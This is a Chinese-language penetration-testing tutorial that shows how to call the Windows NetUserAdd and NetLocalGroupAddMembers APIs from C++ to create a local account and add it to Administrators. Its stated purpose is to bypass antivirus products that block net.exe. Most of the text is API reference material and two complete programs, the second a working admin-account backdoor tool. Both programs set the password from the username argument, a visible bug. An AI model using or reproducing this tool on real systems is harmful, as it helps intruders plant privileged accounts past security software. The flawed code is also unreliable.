为什么需要调用WindowsAPI来操作?

在日常渗透测试中遇到很多主机存在一些杀毒软件导致net.exe 无法使用或者限制操作,这让无法通过该方法进行添加用户,删除用户等,这个时候就需要通过调用系统的API来进行操作,来绕过这些限制
例如下图。
image.png

编写条件

根据官方文档上给的示例进行根据自己的需求修改,官网上使用的是C++,你需要一个C++编译的环境,我这里使用的是Visual Studio 2019安装教程

建立对应的项目

Visual Studio 2019 打开后最上面文件—>新建—>项目,填写对应的项目名称等。
image.png


官方文档 NetUserAdd function

https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netuseradd
新建一个用户后给予这个账号一个对应的权限。

Syntax

  1. NET_API_STATUS NET_API_FUNCTION NetUserAdd(
  2. LPCWSTR servername,
  3. DWORD level,
  4. LPBYTE buf,
  5. LPDWORD parm_err
  6. );

Parameters

servername
指向常量字符串的指针,该字符串指定要在其上执行函数的远程服务器的 DNS 或 NetBIOS 名称。如果此参数为NULL,则使用本地计算机。
如果定义了_WIN32_WINNTFORCE_UNICODE,则此字符串是 Unicode 。
level
指定数据的信息级别。此参数可以是以下值之一。

Value Meaning
1 Specifies information about the user account. The buf parameter points to a USER_INFO_1
structure.
When you specify this level, the call initializes certain attributes to their default values. For more information, see the following Remarks section.
2 Specifies level one information and additional attributes about the user account. The buf parameter points to a USER_INFO_2
structure.
3 Specifies level two information and additional attributes about the user account. This level is valid only on servers. The buf parameter points to a USER_INFO_3
structure. Note that it is recommended that you use USER_INFO_4
instead.
4 Specifies level two information and additional attributes about the user account. This level is valid only on servers. The buf parameter points to a USER_INFO_4
structure.
Windows 2000: This level is not supported.

buf
Pointer to the buffer that specifies the data. The format of this data depends on the value of the level parameter. For more information, see Network Management Function Buffers.
parm_err
Pointer to a value that receives the index of the first member of the user information structure that causes ERROR_INVALID_PARAMETER. If this parameter is NULL, the index is not returned on error. For more information, see the NetUserSetInfo function.

Return value

If the function succeeds, the return value is NERR_Success.
If the function fails, the return value can be one of the following error codes.

Return code Description
ERROR_ACCESS_DENIED The user does not have access to the requested information.
NERR_InvalidComputer The computer name is invalid.
NERR_NotPrimary The operation is allowed only on the primary domain controller of the domain.
NERR_GroupExists The group already exists.
NERR_UserExists The user account already exists.
NERR_PasswordTooShort The password is shorter than required. (The password could also be too long, be too recent in its change history, not have enough unique characters, or not meet another password policy requirement.)

编写代码

过程

  1. 定义USER_INFO_1 结构体

NetUserAdd

  1. NET_API_STATUS NET_API_FUNCTION
  2. NetUserAdd (
  3. IN LPCWSTR servername OPTIONAL, //
  4. IN DWORD level,
  5. IN LPBYTE buf,
  6. OUT LPDWORD parm_err OPTIONAL
  7. );

NetLocalGroupAddMembers

  1. NET_API_STATUS NET_API_FUNCTION
  2. NetLocalGroupAddMembers (
  3. IN LPCWSTR servername OPTIONAL,
  4. IN LPCWSTR groupname,
  5. IN DWORD level,
  6. IN LPBYTE buf,
  7. IN DWORD totalentries
  8. );
  1. 调用NetUserAdd添加普通权限账户
  2. 调用NetLocalGroupAddMembers添加到管理员组

添加用户

示例代码中我们需要调整servername 为NULL,使用本地计算机,接收用户和密码,后需要加入管理员中。

  1. #ifndef UNICODE
  2. #define UNICODE
  3. #endif
  4. #pragma comment(lib, "netapi32.lib")
  5. #include <stdio.h>
  6. #include <windows.h>
  7. #include <lm.h>
  8. // 定义USER_INFO_1结构体
  9. int wmain(int argc, wchar_t* argv[])
  10. {
  11. USER_INFO_1 ui;
  12. DWORD dwLevel = 1;
  13. DWORD dwError = 0;
  14. NET_API_STATUS nStatus;
  15. //接收对应的账号 密码
  16. if (argc != 3)
  17. {
  18. fwprintf(stderr, L"Usage: ApiUserAdd.exe [Username] [Password]", argv[0]);
  19. exit(1);
  20. }
  21. //
  22. // Set up the USER_INFO_1 structure.
  23. // USER_PRIV_USER: name identifies a user,
  24. // rather than an administrator or a guest.
  25. // UF_SCRIPT: required
  26. //
  27. ui.usri1_name = argv[1];//账号
  28. ui.usri1_password = argv[1];//密码
  29. ui.usri1_priv = USER_PRIV_USER;
  30. ui.usri1_home_dir = NULL;
  31. ui.usri1_comment = NULL;
  32. ui.usri1_flags = UF_SCRIPT;
  33. ui.usri1_script_path = NULL;
  34. //
  35. // Call the NetUserAdd function, specifying level 1.
  36. //
  37. //
  38. // If the call succeeds, inform the user.
  39. //
  40. if (NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)
  41. printf("successfully");
  42. //
  43. // Otherwise, print the system error.
  44. //
  45. else
  46. printf("fail");
  47. return 0;
  48. }

上面代码主要实现了添加一个用户的功能,没有加入到管理员中
image.png
接下来还差一步,需要把这个普通用户的账号提升为管理员权限。

提升为管理员

  1. #ifndef UNICODE
  2. #define UNICODE
  3. #endif
  4. #pragma comment(lib, "netapi32.lib")
  5. #include <stdio.h>
  6. #include <windows.h>
  7. #include <lm.h>
  8. // 定义USER_INFO_1结构体
  9. int wmain(int argc, wchar_t* argv[])
  10. {
  11. USER_INFO_1 ui;
  12. DWORD dwLevel = 1;
  13. DWORD dwError = 0;
  14. NET_API_STATUS nStatus;
  15. //接收对应的账号密码
  16. if (argc != 3)
  17. {
  18. fwprintf(stderr, L"Usage: ApiUserAdd.exe [Username] [Password]", argv[0]);
  19. exit(1);
  20. }
  21. //
  22. // Set up the USER_INFO_1 structure.
  23. // USER_PRIV_USER: name identifies a user,
  24. // rather than an administrator or a guest.
  25. // UF_SCRIPT: required
  26. //
  27. ui.usri1_name = argv[1];//账号
  28. ui.usri1_password = argv[1];//密码
  29. ui.usri1_priv = USER_PRIV_USER;
  30. ui.usri1_home_dir = NULL;
  31. ui.usri1_comment = NULL;
  32. ui.usri1_flags = UF_SCRIPT;
  33. ui.usri1_script_path = NULL;
  34. //
  35. // Call the NetUserAdd function, specifying level 1.
  36. //
  37. //
  38. // If the call succeeds, inform the user.
  39. //
  40. if (NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success) {
  41. //添加用户成功
  42. printf("Add User successfully\n");
  43. // 添加过的用户加入到administrators组
  44. LOCALGROUP_MEMBERS_INFO_3 account;
  45. account.lgrmi3_domainandname = ui.usri1_name;
  46. if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
  47. {
  48. //添加管理员成功
  49. printf("Add Administrators Group successfully\n");
  50. }
  51. else
  52. {
  53. //添加管理员组失败
  54. printf("Add Administrators Group Fail");
  55. }
  56. }
  57. //
  58. // Otherwise, print the system error.
  59. //
  60. else {
  61. //添加用户失败
  62. printf("Add User Fail");
  63. }
  64. return 0;
  65. }

最终效果。

image.png

Reference

https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netuseradd https://lengjibo.github.io/netuser/